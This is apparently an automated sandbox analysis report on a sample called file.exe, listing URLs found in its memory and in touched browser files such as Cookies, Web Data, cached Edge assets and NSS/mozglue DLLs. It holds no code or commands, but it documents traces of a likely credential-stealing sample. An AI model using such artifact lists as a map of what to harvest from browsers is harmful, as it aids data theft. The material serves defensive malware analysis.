Source: file.exe, 00000000.00000002.2522496997.0000000001414000.00000004.00000020.00020000.00000000.sdmp, AFHDGDGI.0.dr, Web Data.9.dr, EGDBAFHJ.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.2522496997.0000000001414000.00000004.00000020.00020000.00000000.sdmp, AFHDGDGI.0.dr, Web Data.9.dr, EGDBAFHJ.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json0.9.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json0.9.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: 950928c3-4e22-455d-96cf-c99af1c96871.tmp.10.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json.9.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 950928c3-4e22-455d-96cf-c99af1c96871.tmp.10.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: chromecache_474.4.dr	String found in binary or memory: https://clients6.google.com
Source: chromecache_474.4.dr	String found in binary or memory: https://content.googleapis.com
Source: file.exe, 00000000.00000002.2545619670.0000000023C4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.2545619670.0000000023C4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: manifest.json.9.dr	String found in binary or memory: https://docs.google.com/
Source: chromecache_474.4.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: manifest.json.9.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json.9.dr	String found in binary or memory: https://drive.google.com/
Source: AFHDGDGI.0.dr, Web Data.9.dr, EGDBAFHJ.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: AFHDGDGI.0.dr, Web Data.9.dr, EGDBAFHJ.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: AFHDGDGI.0.dr, Web Data.9.dr, EGDBAFHJ.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 950928c3-4e22-455d-96cf-c99af1c96871.tmp.10.dr	String found in binary or memory: https://edgeassetservice.azureedge.net
Source: 000003.log6.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log6.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log6.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log7.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_163_music.png/1.0.3/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_dark.png/1.7.32/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_hc.png/1.7.32/asset
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_amazon_music_light.png/1.4.13/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_apple_music.png/1.4.12/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_bard_light.png/1.0.1/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_hc.png/1.0.3/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_dark.png/1.0.3/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_collections_maximal_light.png/1.0.3/asse
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_deezer.png/1.4.12/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_dark.png/1.0.6/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_demo_light.png/1.0.6/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_color.png/1.0.14/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_designer_hc.png/1.0.14/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_hc.png/1.1.12/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_dark.png/1.1.12/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr, HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_hc.png/1.2.0/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_dark.png/1.2.0/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_etree_maximal_light.png/1.2.0/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_excel.png/1.7.32/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_facebook_messenger.png/1.5.14/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gaana.png/1.0.3/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc.png/1.7.1/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_controller.png/1.7.1/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_hc_joystick.png/1.7.1/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark.png/1.7.1/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_controller.png/1.7.1/
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_dark_joystick.png/1.7.1/as
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_controller.png/1.7.1
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light_joystick.png/1.7.1/a
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_gmail.png/1.5.4/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_help.png/1.0.0/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_iHeart.png/1.0.3/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_hc.png/1.0.14/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_dark.png/1.0.14/as
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_image_creator_maximal_light.png/1.0.14/a
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_instagram.png/1.4.13/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_ku_gou.png/1.0.3/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_last.png/1.0.3/asset
Source: 000003.log6.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_dark.png/1.1.0/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_hc.png/1.1.0/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_maximal_follow_light.png/1.1.0/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_naver_vibe.png/1.0.3/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_dark.png/1.4.9/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_hc.png/1.4.9/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_onenote_light.png/1.4.9/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_dark.png/1.9.10/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_hc.png/1.9.10/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr, HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_hc.png/1.1.0/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_dark.png/1.1.0/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_performance_maximal_light.png/1.1.0/asse
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_power_point.png/1.7.32/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_qq.png/1.0.3/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_dark.png/1.1.12/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_hc.png/1.1.12/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_refresh_light.png/1.1.12/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_hc.png/1.1.3/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_dark.png/1.1.3/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_rewards_maximal_light.png/1.1.3/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.1.12/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.1.12/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.1.12/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_dark.png/1.3.20/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_hc.png/1.3.20/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_skype_light.png/1.3.20/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_sound_cloud.png/1.0.3/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_spotify.png/1.4.12/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_dark.png/1.2.19/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_hc.png/1.2.19/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_teams_light.png/1.2.19/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_telegram.png/1.0.4/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_hc.png/1.0.5/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_dark.png/1.0.5/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_theater_maximal_light.png/1.0.5/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tidal.png/1.0.3/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_tik_tok_light.png/1.0.5/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_hc.png/1.5.13/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_dark.png/1.5.13/asset
Source: HubApps Icons.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_twitter_light.png/1.0.9/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_vk.png/1.0.3/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whats_new.png/1.0.0/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_whatsapp_light.png/1.4.11/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_word.png/1.7.32/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_yandex_music.png/1.0.10/asset
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_youtube.png/1.4.14/asset
Source: 000003.log6.9.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://excel.new?from=EdgeM365Shoreline
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://gaana.com/
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://i.y.qq.com/n2/m/index.html
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: file.exe, 00000000.00000002.2545619670.0000000023C4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://latest.web.skype.com/?browsername=edge_canary_shoreline
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://m.kugou.com/
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://m.soundcloud.com/
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://m.vk.com/
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://mail.google.com/mail/mu/mp/266/#tl/Inbox
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://manifestdeliveryservice.edgebrowser.microsoft-staging-falcon.io/app/page-context-demo
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.10.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.10.dr	String found in binary or memory: https://msn.comXIDv10
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://music.amazon.com
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://music.apple.com
Source: 0b1df4f1-e37f-4f5d-ad4f-2c483ce21754.tmp.9.dr	String found in binary or memory: https://music.yandex.com
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log3.9.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log9.9.dr, 000003.log0.9.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log9.9.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.9.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 000003.log9.9.dr, 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 2cc80dabc69f58b6_1.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13376270188790471.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.9.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
